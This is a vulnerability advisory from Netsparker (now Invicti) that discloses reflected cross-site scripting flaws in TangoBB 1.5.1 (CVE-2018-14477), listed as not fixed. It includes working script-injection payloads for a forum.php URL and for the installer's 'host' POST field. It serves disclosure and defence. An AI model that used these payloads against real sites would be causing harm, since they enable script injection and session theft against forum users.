Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in TangoBB
Affected Software: TangoBB
Affected Versions: 1.5.1
Homepage: https://github.com/Codetana/TangoBB
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-14477
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-007

Technical Details
--------------------

URL  http://app.scan/ScanApp/TangoBB-1.5.1/forum.php/'"--></style></scRipt><scRipt>netsparker(0x001432)</scRipt>  
Proof URL  http://app.scan/ScanApp/TangoBB-1.5.1/forum.php/'"--></style></scRipt><scRipt>alert(0x001432)</scRipt>  
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x001432)</scRipt>  

Technical Details - (Install)
--------------------

URL  http://app.scan/ScanApp/TangoBB-1.5.1/install/pages/mysql.php
Parameter Name  host
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x000BF8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

20 November 2017 - Issue Reported
10 September 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.